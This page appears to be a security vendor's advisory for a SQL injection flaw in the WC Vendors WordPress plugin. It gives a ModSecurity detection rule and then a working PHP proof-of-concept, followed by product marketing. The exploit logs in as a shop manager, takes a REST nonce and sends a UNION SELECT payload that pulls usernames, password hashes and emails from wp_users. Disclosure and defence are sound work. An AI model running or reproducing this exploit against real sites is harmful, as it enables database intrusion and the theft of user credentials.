  "id:202615351,phase:2,deny,status:403,chain,msg:'CVE-2026-15351 - WC Vendors SQL Injection via status parameter',severity:'CRITICAL',tag:'CVE-2026-15351'"
  SecRule ARGS:status "@rx ('.*(UNION|SELECT|INSERT|UPDATE|DELETE|DROP|--|/*|;)).*" "t:urlDecode,t:lowercase,chain"
    SecRule REQUEST_METHOD "@streq GET" "chain"
      SecRule ARGS:status "@rx (union|select|insert|update|delete|drop|--|;)" "t:none"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-15351 - WC Vendors <= 2.7.0 - Authenticated (Shop Manager+) SQL Injection via 'status' Parameter

// This script demonstrates SQL injection in the vendor list API.
// It requires a valid Shop Manager or Admin account.

$target_url = 'https://example.com'; // Change to the target WordPress site URL
$username = 'shop_manager'; // Change to the username
$password = 'password'; // Change to the password

// --- Obtain a nonce and cookies by logging in ---
$login_url = $target_url . '/wp-login.php';
$login_data = array(
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In',
    'redirect_to' => $target_url . '/wp-admin/',
    'testcookie' => '1'
);

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($login_data));
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookies.txt'); // Store cookies
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_exec($ch);
curl_close($ch);

// --- Get a REST API nonce from the admin page ---
$admin_url = $target_url . '/wp-admin/';
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $admin_url);
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$admin_page = curl_exec($ch);
curl_close($ch);

preg_match('/"restNonce":"([a-f0-9]+)"/', $admin_page, $matches);
if (empty($matches[1])) {
    die("Failed to get REST nonce. Ensure the user can access wp-admin and is a Shop Manager or above.n");
}
$nonce = $matches[1];

// --- Craft the malicious API request ---
// The injectable parameter is 'status'. We inject a UNION-based payload.
// The query structure: SELECT ... FROM ... WHERE ... AND vstatus.meta_value = '<INJECTION>'
// We will use a UNION SELECT to extract usernames and password hashes from wp_users.
// Note: The number of columns must match the original query. Adjust the number of NULLs if needed.

$sql_payload = "active' UNION SELECT user_login,user_pass,user_email,user_registered FROM wp_users-- -";

// The REST endpoint for the vendor list. This is a common path used by WC Vendors.
$api_url = $target_url . '/wp-json/wc/v3/wcvendors-vendors?status=' . urlencode($sql_payload);

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $api_url);
curl_setopt($ch, CURLOPT_HTTPHEADER, array(
    'X-WP-Nonce: ' . $nonce
));
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$response = curl_exec($ch);
curl_close($ch);

// --- Output the response ---
echo "=== Response from API ===n";
echo $response . "n";

// Check if the SQL injection was successful by looking for typical user data.
if (preg_match('/"user_login"/', $response) || preg_match('/user_pass/', $response)) {
    echo "[+] SQL Injection successful! User data may have been extracted.n";
} else {
    echo "[-] SQL Injection might have failed. Check the response for error messages.n";
    echo "[-] The plugin may be patched, or the API endpoint path is incorrect. Try 'wcvendors/v1/vendors' as the endpoint.n";
}

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.